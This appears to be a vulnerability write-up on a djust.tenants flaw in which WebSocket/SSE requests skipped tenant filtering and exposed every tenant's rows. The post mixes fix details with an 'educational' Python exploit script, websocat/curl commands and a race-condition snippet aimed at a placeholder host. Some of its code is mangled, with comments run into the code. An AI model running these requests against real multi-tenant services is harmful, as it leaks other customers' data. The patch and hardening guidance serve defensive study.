Listen to this Post
The djust.tenants isolation mechanism was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only TenantMiddleware. On the live (WebSocket/SSE) path, `get_current_tenant()` was always `None` during mount and every event handler. The tenant-aware `QuerySet` manager failed OPEN, returning the unfiltered queryset and ignoring STRICT_MODE. This disclosed every tenant’s rows to whoever held the socket. Additionally, `threading.local` was shared across connections on the `sync_to_async` executor thread. The vulnerability exists because WebSocket and Server-Sent Events connections bypass the HTTP middleware that normally sets the tenant context. When a WebSocket connection is established, no tenant context is available, causing the tenant-aware manager to return all rows instead of filtering by tenant. This creates a critical data disclosure vulnerability where any authenticated user can access data belonging to other tenants simply by connecting via WebSocket. The fix moved tenant storage to `contextvars.ContextVar` for per-async-task isolation, bound the resolved tenant around WS/SSE mount and every dispatch, made both managers scope the base queryset once and fail CLOSED with `.none()` under default STRICT_MODE, and added system check S006 to warn when STRICT_MODE=False.
DailyCVE Form
Platform: djust tenants
Version: 1.0.7
Vulnerability: fail OPEN isolation
Severity: Critical disclosure
date: 2025
Prediction: Next release cycle
What Undercode Say
Analytics
Vulnerable code pattern (pre-1.0.7) import threading _tenant_context = threading.local() def get_current_tenant(): return getattr(_tenant_context, 'tenant', None) class TenantMiddleware: def <strong>call</strong>(self, request): _tenant_context.tenant = resolve_tenant(request) return self.get_response(request) class TenantQuerySet(models.QuerySet): def _tenant_filter(self): tenant = get_current_tenant() if tenant is None: if STRICT_MODE: return self.none() return self FAIL OPEN return self.filter(tenant=tenant)
Test WebSocket connection without tenant context
websocat ws://target.com/ws/events/
Observe unfiltered data response
{"events": [{"id": 1, "tenant": "alpha"}, {"id": 2, "tenant": "beta"}]}
Fixed code (1.0.7)
import contextvars
_current_tenant = contextvars.ContextVar('tenant', default=None)
def get_current_tenant():
return _current_tenant.get()
How Exploit: (Educational Purposes!)
import asyncio
import websockets
import json
async def exploit_tenant_disclosure():
async with websockets.connect('ws://target.com/ws/data/') as ws:
await ws.send(json.dumps({
"action": "list",
"model": "sensitive_records"
}))
response = await ws.recv()
all_tenants_data = json.loads(response)
for record in all_tenants_data:
print(f"Tenant: {record.get('tenant')} | Data: {record}")
return all_tenants_data
asyncio.run(exploit_tenant_disclosure())
Establish WebSocket connection
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
http://target.com/ws/events/
Send event subscription without tenant header
echo '{"subscribe": "all_events"}' | websocat ws://target.com/ws/events/
Threading.local race condition exploitation import threading results = [] def race_connection(tenant_id): conn = create_ws_connection() conn.set_tenant(tenant_id) Sets threading.local results.append(conn.query_all()) May return wrong tenant data threads = [threading.Thread(target=race_connection, args=(t,)) for t in ['alpha', 'beta', 'gamma']] for t in threads: t.start() for t in threads: t.join() Results may contain cross-tenant data due to shared threading.local
Protection: from this CVE
Upgrade to patched version pip install djust==1.0.7 Verify installed version pip show djust | grep Version
Ensure STRICT_MODE is enabled
settings.py
DJUST_TENANTS = {
'STRICT_MODE': True, Must be True
}
Run system checks
python manage.py check --deploy
Look for S006 warning - if present, STRICT_MODE is disabled
Verify contextvars isolation (1.0.7+)
import contextvars
async def verify_isolation():
token = _current_tenant.set('tenant_a')
try:
assert get_current_tenant() == 'tenant_a'
async with websockets.connect('ws://localhost/ws/'):
Tenant context should propagate correctly
assert get_current_tenant() == 'tenant_a'
finally:
_current_tenant.reset(token)
Nginx WebSocket proxy with tenant header validation
location /ws/ {
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Tenant-ID $http_x_tenant_id;
Reject connections without tenant header
if ($http_x_tenant_id = "") {
return 403;
}
}
Custom middleware for defense in depth
class WebSocketTenantValidator:
def <strong>call</strong>(self, scope):
if scope['type'] == 'websocket':
headers = dict(scope['headers'])
tenant = headers.get(b'x-tenant-id')
if not tenant:
raise DenyConnection("Tenant header required")
return self.inner(scope)
Impact
Tenant isolation was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only TenantMiddleware, so on the live (WebSocket/SSE) path `get_current_tenant()` was always `None` during mount and every event handler. The tenant-aware `QuerySet` manager failed OPEN, returning the unfiltered queryset and ignoring STRICT_MODE, disclosing every tenant’s rows to whoever held the socket. `threading.local` was additionally shared across connections on the `sync_to_async` executor thread. Fixed in djust 1.0.7. Tenant storage moved to a `contextvars.ContextVar` (per async task); the resolved tenant is bound around WS/SSE mount and every dispatch; both managers scope the base queryset once and fail CLOSED (.none() under the default STRICT_MODE); and system check S006 warns when STRICT_MODE=False. No workaround on the live path short of upgrading.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

